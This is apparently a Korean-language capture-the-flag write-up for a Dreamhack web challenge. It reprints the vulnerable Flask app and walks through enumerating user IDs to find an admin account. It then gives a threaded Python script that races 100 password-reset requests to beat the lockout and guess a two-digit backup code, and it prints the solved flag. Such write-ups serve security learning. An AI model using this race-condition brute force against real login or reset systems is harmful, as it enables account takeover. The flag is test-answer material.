


#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random
app = Flask(__name__)
app.secret_key = os.urandom(32)
DATABASE = "database.db"
userLevel = {
0 : 'guest',
1 : 'admin'
}
MAXRESETCOUNT = 5
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
def makeBackupcode():
return random.randrange(100)
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
if user:
session['idx'] = user['idx']
session['userid'] = user['id']
session['name'] = user['name']
session['level'] = userLevel[user['level']]
return redirect(url_for('index'))
return "<script>alert('Wrong id/pw');history.back(-1);</script>";
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
name = request.form.get("name")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
return "<script>alert('Already Exists userid.');history.back(-1);</script>";
backupCode = makeBackupcode()
sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
conn.commit()
return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/user/<int:useridx>')
def users(useridx):
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
if user:
return render_template('user.html', user=user)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/admin')
def admin():
if session and (session['level'] == userLevel[1]):
return FLAG
return "Only Admin !"
app.run(host='0.0.0.0', port=8000)


id & pwd 둘 다 admin으로 로그인 해봄 -> 실패


계정 생성 시에, 백업 코드를 줌

생성한 계정으로 로그인을 하고 우측 위의 id(abc)를 클릭하면 -> UserID, UserName, UserLevel을 보여줌
UserLevel이 0인데, 이것은 코드를 통해 알 수 있음
userLevel = {
0 : 'guest',
1 : 'admin'
}
코드를 확인해보면 이 계정은 guest임을 알 수 있음
url 쪽을 확인해보면 http://host3.dreamhack.games:11360/user/17이라고 적혀있는데
-> 숫자 17부분을 고치면 admin level을 찾을 수 있다고 생각함

http://host3.dreamhack.games:11360/user/1
-> 17이라는 숫자를 1로 바꿨더니 admin level인 Apple이 나옴

우리의 목적은 admin 권한을 가진 사용자로 로그인하는 거니깐
-> admin 권한을 가진 Apple의 패스워드를 바꿔주고 로그인하면 플래그 값을 얻을 수 있을거라고 생각함
Apple의 backupcode는 아직 모르므로 아무 숫자를 적어 submit 버튼을 눌러줌

틀린 backupcode를 적었기 때문에 남은 로그인 횟수는 4번으로 줄어듦
MAXRESETCOUNT = 5
왜냐면, 최대 로그인 횟수가 5번인데
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
'/forgot_password' 을 보면 틀린 backupcode를 적을 때마다 (MAXRESETCOUNT-1)-user['resetCount'] 을 하기 때문임
import requests
import threading
url = 'http://host3.dreamhack.games:14074/forgot_password'
for i in range(1, 101):
params = {'userid':'Apple', 'newpassword':'Apple2', 'backupCode':i}
print(params)
th = threading.Thread(target=requests.post, args=(url, params))
th.start()
Apple의 backupcode를 찾아 비밀번호를 바꿔주기 위해 이 코드를 작성해서 run and debug를 해줌


그리고 나서, 로그인을 해주고 /admin 페이지로 이동하면

플래그가 나옴
답: DH{4b308b526834909157a73567075c9ab7}
'인터루드' 카테고리의 다른 글
| 1 - Seaside (0) | 2022.11.21 |
|---|---|
| Arrow (0) | 2022.11.21 |
| funjs (0) | 2022.11.19 |
| blind sql injection advanced (0) | 2022.11.19 |
| session (0) | 2022.11.13 |